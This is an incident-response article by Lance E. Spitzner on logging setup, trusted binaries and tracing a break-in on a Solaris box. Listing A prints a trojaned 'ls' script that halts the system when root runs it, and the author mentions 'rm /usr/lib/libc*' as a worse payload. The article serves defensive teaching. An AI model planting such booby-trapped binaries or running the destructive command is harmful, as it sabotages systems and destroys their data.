"Deep in the sea are riches beyond compare.
But if you seek safety, it is on the shore."

Hacked: Now What?

You have that funny feeling that something is not right. One of your admins reported that his Unix box keeps rebooting in OpenWindows. You sit down at the box, type some commands, and wham, it reboots again. This doesn’t look like a bug, you’ve been hacked! Now what do you do?

How to Prepare.

Protecting your systems is only a part of information security. Preparing for the inevitable is another. Sooner or later, one of your systems will be compromised. What then? Backups are one critical part of recovery (nothing beats a total restore), however this should be considered as a last resort.

Here we will be discussing the knowledge and tools necessary to identify a compromised system, ascertain the hack, and recover the system, without a full restore. The first part of this article will cover tools and preparations you should make now. The second part will be a step by step example using these preparations. Although this article is by no means exhaustive, I hope to give you some basic ideas of where to start. For more information, a great place to start is http://www.cert.org/nav/recovering.html.

Logging

Logging is one of your most powerful tools in recovering from a security incident, logs are your friends. With extensive logging, you can potentially track the intruder’s actions, identify what has been compromised, and fix the system. Your goal is to cover various sources of logging, so you are not dependent on a single source of information.

The first place to start is /etc/syslog.conf. This file is the central command of logging, you control various logging functions here. At boot up, /usr/bin/syslogd reads this config. By editing this file, we can configure how the system logs.

The first thing we want to log is all inetd connections, such at telnet, ftp, rlogin, etc. to the file /var/adm/inetdlog. This way, whenever someone connects to the system, you have a log of what IP connected when. First, create the file /var/adm/inetdlog using the touch command. Second, add the following line to /etc/syslog.conf (make sure you use tabs, not spaces with the space bar):

daemon.notice /var/adm/inetdlog

Now, restart the /usr/sbin/syslogd with kill HUP, this ensures logging to intedlog. We are not done yet. To enable this, inetd has to be running with both –s and –t parameter. In the last line of /etc/rc2.d/S72inetsvc, edit as follows:

/usr/bin/inetd –s -t

Now all inetd connections will be logged. For the -t parameter to take effect, you can either reboot the system, or kill /usr/sbin/inetd, then manually launch /usr/sbin/inetd with the -s and -t parameter. The only problem now is we are depending on a single source of information. If your system were compromised, the intruder could easily modify the logging on that system. To protect against this, we have all logging sent to an additional logging host, so we have two sources of logging. For this, we add an additional line to /etc/syslog.conf:

daemon.notice @logger

For the truly paranoid, we can add one more layer of protection, have all logging output sent to printer. This way, the only way someone could compromise the logging is having physical access to the printer. For this, we add one last additional line to /etc/syslog.conf:

daemon.notice /dev/printer

There are two other logs we want to ensure are functioning, /var/adm/sulog and /var/adm/loginlog. Sometimes, these logs are not enabled by default. Sulog logs all su attempts, regardless if they are successful or not. Loginlog logs all login attempts that fail 5 consecutive times. Both logs can be enabled by touching the following two files:

/var/adm/sulog
/var/adm/loginlog

The last step for logging is permissions. Solaris (even 2.6) has the nasty habit of setting bad permissions in /var/adm. Bad in that most logs can be read by everyone, and some can even be written by everyone. Keep in mind that /var/adm/loginglog and /var/adm/log/asppp.log keep passwords in plaintext. The best thing to do is chmod 750 * in /var/adm

Executables

This will be our second tool for dealing with a compromised system. When you access a compromised system, you can’t rely on the environment, or the files. The intruder most likely altered both. To protect yourself, create a floppy (or CDROM) that contains critical executables. These are the executables you will be using the future. The first thing you do on a compromised system is set your $PATH to the floppy, that way you are absolutely sure you are executing uncorrupted files. Examples of critical executables would include:

/usr/bin/ls /usr/bin/grep
/usr/bin/find /usr/bin/more
/usr/bin/truss /usr/bin/vi

Also, keep a printout of all files suid 4000 and all hidden files (.*) on the floppy. This way you can determine if any new hidden or suid files have been added to the compromised system.

Now What?

Now, back to that system that kept rebooting in OpenWindows. If you remember, one of your admins reported his/her system is rebooting randomly in OpenWindows, specifically if you are root. You decide to verify for yourself. You reboot, go into OpenWindows, and do nothing: nothing happens after 10 minutes of staring at the screen. You decide to look around. After typing some basic commands, wham, the system reboots. Yep, this does not look like a bug, you have been hacked AND booby trapped. NOW WHAT? Here is an example of one possible option for troubleshooting the system.

Being the ever diligent admin, you already read an article similar to this, so you have both logs and floppy ready. So, where do we start? Logs are a great place to start, but first, never trust the environment, assume that the intruder has changed it (he/she probably already has).

You reboot the system, but escape out of openwindows starting up. You mount your handy floppy, set the path so it points ONLY to it, and then confirm your environment with the #env command. This way you know that you are executing trusted files. We are now ready to start investigating the system.

You decide to start with basic checks of critical files. You begin with the command

find / -user root -perm -4000 –print

You compare all the suid files to the ones on your floppy. Everything checks out, there are no new suid files. Now lets see if any new hidden files have been added. You then try:

find / -name ".. " -print &
find / -name ".*" –print

No, everything checks out, there have been no new hidden or suid root files added. You decide to move on to the log files, specifically /var/adm/messages, again, nothing suspicious. So far everything checks out. You decide to get daring and try out the binaries on the system, again nothing. The system seems to be working just fine, as long as you are not in openwindows.

You decide to recreate the problem, you launch OpenWindows. From OpenWindows, you start poking around without using your floppy, then wham, it reboots! Aha, progress, the system reboots, but only when you use the system binaries while in OpenWindows. As the system reboots again you once again cancel out of OpenWindows. You reset your environment back to the floppy. You decide to try OpenWindows again, except this time we will use our buddy truss (we can trust truss since we are using our floppy).

#truss –f –t exec –o /var/adm/truss /usr/openwin/bin/openwin

You go into OpenWindows, and start poking around in the OpenWindows env. Wham, sure enough, the systems reboots, but you have the culprit with truss! After the reboot, using your floppy, you cat your truss file located at /var/adm/truss. Aha, you find the culprit in the end of the truss file, the system is executing halt.

So, you have found the hack, you are executing halt in OpenWindows. The system has been booby trapped, but how? For one last time, you launch openwin, from there you take a look at the environment. You notice that your path has changed, /usr/openwin/bin has been added to the beginning of the path. Any commands you execute will start there. Now you remember, openwin adds itself to the beginning of your path by default!

Using our trusted binaries by setting $PATH to our floppy, we cruise over to /usr/openwin/bin. You do a grep for "halt", sure enough, you found the hack. The intruder has left a booby trap. He/she created a new file, /usr/openwin/bin/ls (see Listing A)

Now, lets find out who did it, this is where our logging comes in! The first log we want to look at is /var/adm/inetdlog. Here we find, by IP address, all the users that have connected to the server. We are looking for any IP addresses that should not be there, potentially with the same time/date stamp of /usr/openwin/bin/ls. Sure enough, you find an IP that looks suspicious, hacker.com. Now, lets find out what that users login was. With the suspicious IP addresses, you can map the intruder’s login to the IP with the "last" command, and then pipe it into grep for the IP address.

Sure enough, you got him, but what concerns you is its the login of one of your admins. You take a look at /var/adm/loginlog, but there are no failed attempts. It looks like the intruder knew the password for the login ahead of time. You take a look at /var/adm/sulog, once again, there are no failed attempts, this user didn’t have to guess any passwords. It looks like on of your admins has been careless with his/her passwords. How you handle this problem is for another article.

There are a variety of other tools and techniques to use, such as checksums, Tripwire, etc. The ideas mentioned here are just the first step in that preparation. To learn more, check out http://www.cert.org/nav/recovering.html

Listing A

#cat /usr/openwin/bin/ls
#!/bin/ksh
if ["$LOGNAME" = "root"]
then
/usr/bin/ls

(sleep 5; /sbin/halt) & > /dev/null 2>&1
else
/usr/bin/ls
A basic script that ruins your day. Imagine if rm /usr/lib/libc* was in
there!

- Lance E. Spitzner